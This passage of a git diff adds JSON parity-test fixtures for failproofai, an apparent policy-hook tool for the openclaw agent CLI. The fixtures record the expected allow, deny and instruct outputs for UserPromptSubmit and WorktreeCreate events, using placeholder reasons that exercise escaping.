parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..c4d50eb4 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..c33ddefb --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/UserPromptSubmit/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/UserPromptSubmit/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..a79fed7c --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/UserPromptSubmit/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked prompt by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/UserPromptSubmit/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/UserPromptSubmit/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..d47b110f --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/UserPromptSubmit/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked prompt by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/UserPromptSubmit/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/UserPromptSubmit/deny__tool-present__one-policy.json new file mode 100644 index 00000000..87430206 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/UserPromptSubmit/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/UserPromptSubmit/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/UserPromptSubmit/deny__tool-present__two-policies.json new file mode 100644 index 00000000..a918916a --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/UserPromptSubmit/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/UserPromptSubmit/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/UserPromptSubmit/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..fa9b8ea6 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/UserPromptSubmit/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/UserPromptSubmit/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/UserPromptSubmit/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..55c13529 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/UserPromptSubmit/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/UserPromptSubmit/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/UserPromptSubmit/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..e3906bca --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/UserPromptSubmit/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/UserPromptSubmit/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/UserPromptSubmit/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..9e23eaaa --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/UserPromptSubmit/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/WorktreeCreate/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/WorktreeCreate/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..b2a42b8b --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/WorktreeCreate/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/WorktreeCreate/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/WorktreeCreate/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..5dfa2a0f --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/WorktreeCreate/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/WorktreeCreate/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/WorktreeCreate/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..87107516 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/WorktreeCreate/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/WorktreeCreate/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/WorktreeCreate/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..03a8996b --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/WorktreeCreate/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..e8cb28cc --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..b4ab0286 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/WorktreeCreate/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/WorktreeCreate/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..2d8499ff --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/WorktreeCreate/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/WorktreeCreate/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/WorktreeCreate/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..662e0428 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/WorktreeCreate/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": 